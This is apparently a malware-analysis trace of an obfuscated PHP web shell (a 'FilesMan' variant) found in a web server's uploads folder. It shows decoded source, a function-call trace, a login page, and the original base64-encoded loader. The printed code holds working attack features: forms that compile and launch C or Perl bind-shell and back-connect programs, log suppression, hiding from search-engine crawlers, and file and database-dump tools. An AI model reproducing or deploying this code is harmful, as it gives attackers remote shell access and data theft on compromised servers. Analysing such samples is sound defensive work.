class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n        echo htmlspecialchars($db->error());\n    }\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionNetwork() {\n\thardHeader();\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2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\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w)\t{\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpc\') {\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\n\t\t\t@unlink("/tmp/bp.c");\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcc\') {\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\n\t\t\t@unlink("/tmp/bc.c");\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\n\t\t}\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($▚) && function_exists(\'action\' . $▚))\n\t\t$_POST[\'a\'] = $▚;\n\telse\n\t\t$_POST[\'a\'] = \'FilesMan\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\n'	/var/www/html/uploads/pandored.php	2	0
3	6	0	0.006088	1138448	error_reporting	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	2	1	0
3	6	1	0.006107	1138488
3	6	R			22527
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	17	$▛ = '59e8d97dbcc1d0f65dea6ecd0e9fbe39'
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	19	$▘ = TRUE
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	20	$▜ = 'UTF-8'
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	21	$▚ = 'FilesMan'
3	7	0	0.006176	1138448	md5	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	22	1	'python-requests/2.25.1'
3	7	1	0.006193	1138544
3	7	R			'ecd862b3d0595af0a0b03f511e800938'
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	22	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
3	8	0	0.006224	1138512	md5	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	23	1	'localhost'
3	8	1	0.006238	1138608
3	8	R			'421aa90e079fa326b6494f812ad13e79'
3	9	0	0.006256	1138512	md5	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	24	1	'localhost'
3	9	1	0.006269	1138608
3	9	R			'421aa90e079fa326b6494f812ad13e79'
3	10	0	0.006284	1138576	prototype	1		/var/www/html/uploads/pandored.php(2) : eval()'d code	24	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	367	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4	11	0	0.006318	1138952	setcookie	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	368	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4	11	1	0.006337	1139152
4	11	R			TRUE
3	10	1	0.006351	1139088
2		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	28	_POST['charset'] = 'UTF-8'
3	12	0	0.006373	1139464	ini_set	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	37	2	'error_log'	NULL
3	12	1	0.006390	1139536
3	12	R			''
3	13	0	0.006403	1139464	ini_set	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	38	2	'log_errors'	0
3	13	1	0.006417	1139536
3	13	R			'1'
3	14	0	0.006430	1139464	ini_set	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	39	2	'max_execution_time'	0
3	14	1	0.006446	1139568
3	14	R			'30'
3	15	0	0.006458	1139464	set_time_limit	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	40	1	0
3	15	1	0.006473	1139528
3	15	R			FALSE
3	16	0	0.006486	1139496	define	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	43	2	'VERSION'	'4.2.5'
3	16	1	0.006501	1139600
3	16	R			TRUE
3	17	0	0.006514	1139528	get_magic_quotes_gpc	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	44	0
3	17	1	0.006527	1139528
3	17	R			FALSE
3	18	0	0.006541	1139528	md5	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	55	1	'localhost'
3	18	1	0.006554	1139624
3	18	R			'421aa90e079fa326b6494f812ad13e79'
3	19	0	0.006569	1139528	hardLogin	1		/var/www/html/uploads/pandored.php(2) : eval()'d code	56	0
3		A						/var/www/html/uploads/pandored.php(2) : eval()'d code	62	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
4	20	0	0.006602	1139528	implode	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	63	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
4	20	1	0.006623	1139672
4	20	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
4	21	0	0.006640	1139608	preg_match	0		/var/www/html/uploads/pandored.php(2) : eval()'d code	63	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
4	21	1	0.006700	1139672
4	21	R			0
			0.006742	1060232
TRACE END   [2023-02-13 01:34:09.959515]


Generated HTML code

<html><head></head><body><pre align="center"><form method="post">Password<br><input type="password" name="pass" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required=""><input type="submit" name="watching" value="submit" style="border:none;background-color:#56AD15;color:#fff;cursor:pointer;"></form></pre></body></html>

Original PHP code

<?php
eval (base64_decode("CmVycm9yX3JlcG9ydGluZyAoMCk7Ci8vLS0tLS0tLS0tLS0tLS0gU2VsbGVyIFJ1bGV6ICEtLS0tLS0tLS0tLS0tLQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuY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ilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICTilp8pCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOwoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsIGljb252KCdDUDg2NicsICdVVEYtOCcsZXgoJ25ldCB1c2VyJykpKTsKCX0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsKCWlmKCBpc3NldCgkX1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DInXSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CgkJCQl9CgkJCQl1bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0a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lYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICUgMTAwMCA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX2ludCgkdikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKCQkJCQkJCSTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAkazsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiw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